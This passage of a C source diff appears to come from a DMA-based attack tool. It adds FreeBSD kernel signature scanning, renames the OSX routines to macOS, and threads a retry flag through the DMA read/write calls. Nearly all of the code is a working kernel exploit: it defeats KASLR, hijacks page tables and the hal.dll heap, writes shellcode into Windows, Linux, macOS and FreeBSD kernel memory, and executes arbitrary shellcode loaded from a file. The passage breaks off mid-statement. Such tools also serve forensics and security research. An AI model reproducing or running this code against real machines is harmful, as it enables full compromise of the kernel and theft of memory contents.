0x800000))) { return E_OUTOFMEMORY; } memset(&pageStat, 0, sizeof(PAGE_STATISTICS)); @@ -156,7 +165,7 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In // loop kmd-find while(qwAddrCurrent < pCfg->qwAddrMax && qwAddrCurrent < 0xffffffff) { ShowUpdatePageRead(pCfg, qwAddrCurrent, &pageStat); - if(DeviceReadDMA(pDeviceData, (DWORD)qwAddrCurrent, pbBuffer8M, 0x800000)) { + if(DeviceReadDMA(pDeviceData, (DWORD)qwAddrCurrent, pbBuffer8M, 0x800000, 0)) { pageStat.cPageSuccess += 2048; hr = KMD_FindSignature2(pbBuffer8M, 2048, (DWORD)qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx); if(SUCCEEDED(hr)) { @@ -175,38 +184,34 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In } //------------------------------------------------------------------------------- -// OSX generic kernel seek below. +// macOS generic kernel seek below. //------------------------------------------------------------------------------- -BOOL KMD_AppleIsKernelAddress(_In_ PBYTE pbPage) +BOOL KMD_MacOSIsKernelAddress(_In_ PBYTE pbPage) { - BOOL isFoundKEXT = FALSE, isFoundBootPT = FALSE; DWORD i; if(*(PDWORD)pbPage != 0xfeedfacf) { return FALSE; } // mach_header_64 magic if(*(PDWORD)(pbPage + 4) != 0x01000007) { return FALSE; } // mach_header_64 cputype // search for kernel header data (eliminate other macho-headers) for(i = 0x20; i < 0xfc0; i += 8) { - if(*(PQWORD)(pbPage + i) == 0x00737478656B5F5F) { // __kexts - isFoundKEXT = TRUE; - } if(*(PQWORD)(pbPage + i) == 0x5450746f6F625F5F) { // __bootPT - isFoundBootPT = TRUE; + return TRUE; } } - return isFoundKEXT && isFoundBootPT; + return FALSE; } -BOOL KMD_AppleKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB) +BOOL KMD_MacOSKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB) { BYTE pbPage[4096]; DWORD i, cKSlide; for(cKSlide = 1; cKSlide <= 512; cKSlide++) { *pdwKernelBase = cKSlide * 0x00200000; // KASLR = ([RND:1..512] * 0x00200000) - if(!DeviceReadDMARetryOnFail(pDeviceData, *pdwKernelBase, pbPage, 4096)) { + if(!DeviceReadDMA(pDeviceData, *pdwKernelBase, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. Error reading address: 0x%08x\n", *pdwKernelBase); return FALSE; } - if(KMD_AppleIsKernelAddress(pbPage)) { + if(KMD_MacOSIsKernelAddress(pbPage)) { for(i = 0x20; i < 0xfc0; i += 8) { if(*(PQWORD)(pbPage + i) == 0x0000747865745F5F && *(PQWORD)(pbPage + i + 0x10) == 0x0000004249485F5F) { // __text && __HIB *pdwTextHIB = (DWORD)*(PQWORD)(pbPage + i + 0x20); @@ -219,25 +224,24 @@ BOOL KMD_AppleKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _O return FALSE; } -BOOL KMD_AppleKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature) +BOOL KMD_MacOSKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature) { - const BYTE SIGNATURE_BCOPY[] = { - 0x48, 0x87, 0xF7, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xF8, 0x48, 0x29, 0xF0, 0x48, 0x39, 0xC8, 0x72 }; + const BYTE SIGNATURE_BCOPY[] = { 0x48, 0x87, 0xF7, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xF8, 0x48, 0x29, 0xF0, 0x48, 0x39, 0xC8, 0x72 }; DWORD i, dwKernelBase, dwTextHIB, cbTextHIB; PBYTE pbTextHIB; - if(!KMD_AppleKernelGetBase(pCfg, pDeviceData, &dwKernelBase, &dwTextHIB, &cbTextHIB)) { + if(!KMD_MacOSKernelGetBase(pCfg, pDeviceData, &dwKernelBase, &dwTextHIB, &cbTextHIB)) { return FALSE; } cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000; pbTextHIB = LocalAlloc(0, cbTextHIB); if(!pbTextHIB) { return FALSE; } - if(!DeviceReadDMARetryOnFail(pDeviceData, dwTextHIB, pbTextHIB, cbTextHIB)) { + if(!DeviceReadDMA(pDeviceData, dwTextHIB, pbTextHIB, cbTextHIB, PCILEECH_MEM_FLAG_RETRYONFAIL)) { LocalFree(pbTextHIB); return FALSE; } for(i = 0; i < cbTextHIB - 0x300; i++) { if(0 == memcmp(pbTextHIB + i, SIGNATURE_BCOPY, 16)) { - Util_CreateSignatureAppleGeneric(dwKernelBase, dwTextHIB + i, dwTextHIB + cbTextHIB - 0x300, pSignature); + Util_CreateSignatureMacOSGeneric(dwKernelBase, dwTextHIB + i, dwTextHIB + cbTextHIB - 0x300, pSignature); LocalFree(pbTextHIB); return TRUE; } @@ -246,6 +250,55 @@ BOOL KMD_AppleKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa return FALSE; } +//------------------------------------------------------------------------------- +// FreeBSD generic kernel seek below. +//------------------------------------------------------------------------------- + +BOOL KMD_FreeBSDKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature) +{ + DWORD i, dwo_memcpy_str, dwo_strtab, dwa_memcpy; + PBYTE pb64M = LocalAlloc(LMEM_ZEROINIT, 0x04000000); + if(!pb64M) { return FALSE; } + for(i = 0x01000000; i < 0x04000000; i += 0x01000000) { + DeviceReadDMA(pDeviceData, i, pb64M + i, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL); + } + // 1: search for string 'vn_open' + i = 0; + while(TRUE) { + i++; + if(i > 0x04000000 - 0x1000) { goto error; } + if(0 == memcmp(pb64M + i, "\0vn_open", 9)) { break; } + } + dwo_memcpy_str = i + 1; + i = i & ~3; + // 2: scan backwards for base of strtab + while(TRUE) { + i -= 4; + if(i < 0x1000) { goto error; } + if(0 == *(PDWORD)(pb64M + i - 4)) { + DWORD dwbug = *(PDWORD)(pb64M + i - 4); + break; + } + } + dwo_strtab = i; + i = i - 8; // skip necessary + // 3: scan backwards for 'vn_open' function address + while(TRUE) { + i -= 0x18; + if(i < 0x1000) { goto error; } + if(0 == *(PQWORD)(pb64M + i)) { goto error; } + if(dwo_memcpy_str - dwo_strtab == *(PDWORD)(pb64M + i)) { break; } + } + dwa_memcpy = *(PDWORD)(pb64M + i + 8) & 0x7fffffff; + // 4: create signature + LocalFree(pb64M); + Util_CreateSignatureFreeBSDGeneric(dwo_strtab, dwa_memcpy, pSignature); + return TRUE; +error: + LocalFree(pb64M); + return FALSE; +} + //------------------------------------------------------------------------------- // LINUX generic kernel seek below. //------------------------------------------------------------------------------- @@ -326,14 +379,15 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa // read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons). dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ??? if(cKSlide == 0) { - DeviceReadDMARetryOnFail(pDeviceData, dwKernelBase, pb, 0x01000000); + DeviceReadDMA(pDeviceData, dwKernelBase, pb, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL); } else { memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000); - result = DeviceReadDMARetryOnFail( + result = DeviceReadDMA( pDeviceData, dwKernelBase + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000, pb + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000, - 0x00200000); + 0x00200000, + PCILEECH_MEM_FLAG_RETRYONFAIL); } result = KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) && @@ -348,7 +402,7 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa } //------------------------------------------------------------------------------- -// Windows 8/10 generic kernel signature below. +// Windows 8/10 generic kernel implant below. //------------------------------------------------------------------------------- BOOL KMD_Win_SearchTableHalpInterruptController(_In_ PBYTE pbPage, _In_ QWORD qwPageVA, _Out_ PDWORD dwHookFnPgOffset) @@ -385,7 +439,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) // 1: Fetch hal.dll heap and perform sanity checks. //------------------------------------------------ Util_CreateSignatureWindowsHalGeneric(&oSignature); - result = DeviceReadDMARetryOnFail(pDeviceData, ADDR_HAL_HEAP_PA, pbHal, 0x1000); + result = DeviceReadDMA(pDeviceData, ADDR_HAL_HEAP_PA, pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); qwPML4 = *(PQWORD)(pbHal + 0xa0); qwAddrHalHeapVA = *(PQWORD)(pbHal + 0x78); if(!result || (qwPML4 & 0xffffffff00000fff) || ((qwAddrHalHeapVA & 0xfffffffffff00fff) != 0xffffffffffd00000)) { @@ -404,7 +458,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) && ((qwPTEOrig & 0x00007fff00000003) == 0x00000003) && - DeviceReadDMARetryOnFail(pDeviceData, (qwPTEOrig & 0xfffff000), pbHal, 0x1000) && + DeviceReadDMA(pDeviceData, (qwPTEOrig & 0xfffff000), pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL) && KMD_Win_SearchTableHalpInterruptController(pbHal, qwAddrHalHeapVA, &dwHookFnPgOffset); if(result) { break; @@ -415,7 +469,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) goto fail; } qwPTPA = qwPTEPA & ~0xfff; - result = DeviceReadDMARetryOnFail(pDeviceData, (DWORD)qwPTPA, pbPT, 0x1000); + result = DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); if(!result || memcmp(pbPT, pbNULL, 0x300)) { // first 0x300 bytes in Hal PT must be zero printf("KMD: Failed. Error reading or interpreting PT.\n"); goto fail; @@ -423,18 +477,18 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 3: Write shellcode into page table empty space. //------------------------------------------------ - *(PQWORD)pbPT = qwPTPA | 0x63; // PTE for addr: 0xffffffffffc00000 + *(PQWORD)pbPT = qwPTPA | 0x63; // PTE for addr: 0xffffffffffc00000 memcpy(pbPT + 0x100, oSignature.chunk[3].pb, oSignature.chunk[3].cb); *(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset); *(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset; printf("INFO: PA PT: 0x%08x\n", qwPTPA); printf("INFO: PA FN: 0x%08x\n", (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset); - DeviceWriteDMA_Retry(pDeviceData, (DWORD)qwPTPA, pbPT, 0x300); + DeviceWriteDMA(pDeviceData, qwPTPA, pbPT, 0x300, PCILEECH_MEM_FLAG_RETRYONFAIL); //------------------------------------------------ // 4: Place hook by overwriting function addr in hal.dll heap. //------------------------------------------------ Sleep(250); - DeviceWriteDMA_Retry(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&ADDR_SHELLCODE_VA, sizeof(QWORD)); + DeviceWriteDMA(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&ADDR_SHELLCODE_VA, sizeof(QWORD), PCILEECH_MEM_FLAG_RETRYONFAIL); printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n"); //------------------------------------------------ // 5: wait for patch to reveive execution. @@ -442,7 +496,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) pdwPhysicalAddress = (PDWORD)(pbPT + 0x100 + STAGE2_OFFSET_STAGE3_PHYSADDR); do { Sleep(100); - if(!DeviceReadDMARetryOnFail(pDeviceData, (DWORD)qwPTPA, pbPT, 4096)) { + if(!DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); goto fail; } @@ -452,7 +506,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) // 6: Restore hooks to original. //------------------------------------------------ Sleep(250); - DeviceWriteDMA(pDeviceData, (DWORD)qwPTPA, pbNULL, 0x300); + DeviceWriteDMA(pDeviceData, qwPTPA, pbNULL, 0x300, 0); //------------------------------------------------ // 7: Set up kernel module shellcode (stage3) //------------------------------------------------ @@ -460,11 +514,11 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("KMD: Failed. Stage2 shellcode error.\n"); goto fail; } - DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, oSignature.chunk[4].pb, 4096); + DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, oSignature.chunk[4].pb, 4096, 0); if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } pKMD->dwPageAddr32 = *pdwPhysicalAddress; pKMD->status = (PKMDDATA)pKMD->pbPageData; - DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096); + DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, 0); //------------------------------------------------ // 8: Retrieve physical memory range map and complete open action. //------------------------------------------------ @@ -499,12 +553,11 @@ BOOL KMD_IsRangeInPhysicalMap(_In_ PKMDHANDLE phKMD, _In_ QWORD qwBaseAddress, _ BOOL KMD_SubmitCommand(_In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD, _In_ QWORD op) { phKMD->status->_op = op; - if(!DeviceWriteDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096)) { + if(!DeviceWriteDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096, 0)) { return FALSE; } do { - //Sleep(100); - if(!DeviceReadDMARetryOnFail(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096)) { + if(!DeviceReadDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { return FALSE; } } while(((phKMD->status->_op != KMD_CMD_COMPLETED) || (phKMD->status->_status != 1)) && phKMD->status->_status < 0x0fffffff); @@ -520,7 +573,7 @@ BOOL KMD_GetPhysicalMemoryMap(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, } phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (phKMD->status->_size + 0x1000) & 0xfffff000); if(!phKMD->pPhysicalMap) { return FALSE; } - DeviceReadDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, (PBYTE)phKMD->pPhysicalMap, (DWORD)((phKMD->status->_size + 0x1000) & 0xfffff000)); + DeviceReadDMA(pDeviceData, phKMD->status->DMAAddrPhysical, (PBYTE)phKMD->pPhysicalMap, (DWORD)((phKMD->status->_size + 0x1000) & 0xfffff000), 0); phKMD->cPhysicalMap = phKMD->status->_size / sizeof(PHYSICAL_MEMORY_RANGE); // adjust max memory according to physical memory qwMaxMemoryAddress = phKMD->pPhysicalMap[phKMD->cPhysicalMap - 1].BaseAddress; @@ -548,7 +601,7 @@ BOOL KMDReadMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAd if(!result) { return FALSE; } result = KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_READ); if(!result) { return FALSE; } - return DeviceReadDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pb, cb); + return DeviceReadDMA(pDeviceData, phKMD->status->DMAAddrPhysical, pb, cb, 0); } BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb) @@ -556,7 +609,7 @@ BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwA BOOL result; PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle; if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return E_FAIL; } - result = DeviceWriteDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pb, cb); + result = DeviceWriteDMA(pDeviceData, phKMD->status->DMAAddrPhysical, pb, cb, 0); if(!result) { return FALSE; } phKMD->status->_size = cb; phKMD->status->_address = qwAddress; @@ -626,9 +679,15 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) goto fail; } pSignature = &oSignatures[0]; - } else if(0 == _stricmp(pCfg->szKMDName, "OSX_X64")) { - if(!KMD_AppleKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) { - printf("KMD: Failed. Error locating generic OSX kernel signature.\n"); + } else if((0 == _stricmp(pCfg->szKMDName, "MACOS")) || (0 == _stricmp(pCfg->szKMDName, "OSX_X64"))) { + if(!KMD_MacOSKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) { + printf("KMD: Failed. Error locating generic macOS kernel signature.\n"); + goto fail; + } + pSignature = &oSignatures[0]; + } else if(0 == _stricmp(pCfg->szKMDName, "FREEBSD_X64")) { + if(!KMD_FreeBSDKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) { + printf("KMD: Failed. Error locating generic FreeBSD kernel signature.\n"); goto fail; } pSignature = &oSignatures[0]; @@ -658,8 +717,8 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) ph2->dwPageAddr32 = (DWORD)pSignature->chunk[1].qwAddress; ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset; ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset; - DeviceReadDMARetryOnFail(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); - DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + DeviceReadDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL); + DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL); memcpy(ph1->pbPatch, ph1->pbOrig, 4096); memcpy(ph2->pbPatch, ph2->pbOrig, 4096); memcpy(ph1->pbPatch + ph1->dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb); @@ -673,11 +732,11 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 4: Write patched data to memory. //------------------------------------------------ - if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096)) { + if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. Signature found but unable write #2.\n"); goto fail; } - if(!DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096)) { // stage1 (must be written after stage2) + if(!DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096, 0)) { // stage1 (must be written after stage2) printf("KMD: Failed. Signature found but unable write #1.\n"); goto fail; } @@ -688,7 +747,7 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR); do { Sleep(100); - if(!DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096)) { + if(!DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); goto fail; } @@ -697,7 +756,7 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 6: Restore hooks to original. //------------------------------------------------ - DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096, 0); //------------------------------------------------ // 7: Set up kernel module shellcode (stage3) //------------------------------------------------ @@ -705,11 +764,11 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("KMD: Failed. Stage2 shellcode error.\n"); goto fail; } - DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096); + DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096, 0); if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } pKMD->dwPageAddr32 = *pdwPhysicalAddress; pKMD->status = (PKMDDATA)pKMD->pbPageData; - DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096); + DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, 0); //------------------------------------------------ // 8: Retrieve physical memory range map and complete open action. //------------------------------------------------ @@ -812,16 +871,16 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 4: Write patched data and PTEs to memory. //------------------------------------------------ - DeviceReadDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); - DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); - if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096) || - !DeviceWriteDMAVerify(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096)) { + DeviceReadDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096, 0); + DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096, 0); + if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL) || + !DeviceWriteDMAVerify(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. Signature found but unable write.\n"); goto fail; } - DeviceWriteDMA(pDeviceData, (DWORD)ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTE, sizeof(QWORD)); + DeviceWriteDMA(pDeviceData, ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTE, sizeof(QWORD), 0); Sleep(250); - DeviceWriteDMA(pDeviceData, (DWORD)ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTE, sizeof(QWORD)); + DeviceWriteDMA(pDeviceData, ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTE, sizeof(QWORD), 0); //------------------------------------------------ // 5: wait for patch to reveive execution. //------------------------------------------------ @@ -829,7 +888,7 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR); do { Sleep(100); - if(!DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096)) { + if(!DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); goto fail; } @@ -838,11 +897,11 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) //------------------------------------------------ // 6: Restore hijacked memory pages. //------------------------------------------------ - DeviceWriteDMA(pDeviceData, (DWORD)ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTEOrig, sizeof(QWORD)); - DeviceWriteDMA(pDeviceData, (DWORD)ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTEOrig, sizeof(QWORD)); + DeviceWriteDMA(pDeviceData, ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTEOrig, sizeof(QWORD), 0); + DeviceWriteDMA(pDeviceData, ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTEOrig, sizeof(QWORD), 0); Sleep(100); - DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); - DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096, 0); + DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096, 0); //------------------------------------------------ // 7: Set up kernel module shellcode (stage3) //------------------------------------------------ @@ -850,11 +909,11 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("KMD: Failed. Stage2 shellcode error.\n"); goto fail; } - DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096); + DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096, 0); if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } pKMD->dwPageAddr32 = *pdwPhysicalAddress; pKMD->status = (PKMDDATA)pKMD->pbPageData; - DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096); + DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, 0); //------------------------------------------------ // 8: Retrieve physical memory range map and complete open action. //------------------------------------------------ @@ -883,7 +942,7 @@ BOOL KMDOpen_LoadExisting(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } pKMD->dwPageAddr32 = (DWORD)pCfg->qwKMD; pKMD->status = (PKMDDATA)pKMD->pbPageData; - if(!DeviceReadDMARetryOnFail(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096)) { + if(!DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { printf("KMD: Failed. Read failed @ address: 0x%08x\n", pKMD->dwPageAddr32); } if(pKMD->status->MAGIC != 0x0ff11337711333377) { @@ -939,7 +998,7 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", pCfg->szShellcodeName); goto fail; } - result = DeviceWriteDMAVerify(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode); + result = DeviceWriteDMAVerify(pDeviceData, phKMD->status->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode, PCILEECH_MEM_FLAG_RETRYONFAIL); if(!result) { printf("EXEC: Failed writing shellcode to target memory.\n"); goto fail; @@ -963,7 +1022,7 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) printf("EXEC: Failed writing data - more than %iMB is not supported.\n", cbMaxBufferSize / (1024*1024)); goto fail; } - result = DeviceWriteDMA(pDeviceData, (DWORD)(phKMD->status->DMAAddrPhysical + phKMD->status->dataInExtraOffset), pCfg->pbIn, (DWORD)((pCfg->cbIn + 0xfff) & ~0xfff)); + result = DeviceWriteDMA(pDeviceData, phKMD->status->DMAAddrPhysical + phKMD->status->dataInExtraOffset, pCfg->pbIn, (DWORD)((pCfg->cbIn + 0xfff) & ~0xfff), 0); if(!result) { printf("EXEC: Failed writing data to target memory.\n"); goto fail; @@ -1000,7 +1059,7 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) if(phKMD->status->dataOutExtraLength > 0) { // read extra output buffer if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbMaxBufferSize)) || - !DeviceReadDMA(pDeviceData, (DWORD)(phKMD->status->DMAAddrPhysical + 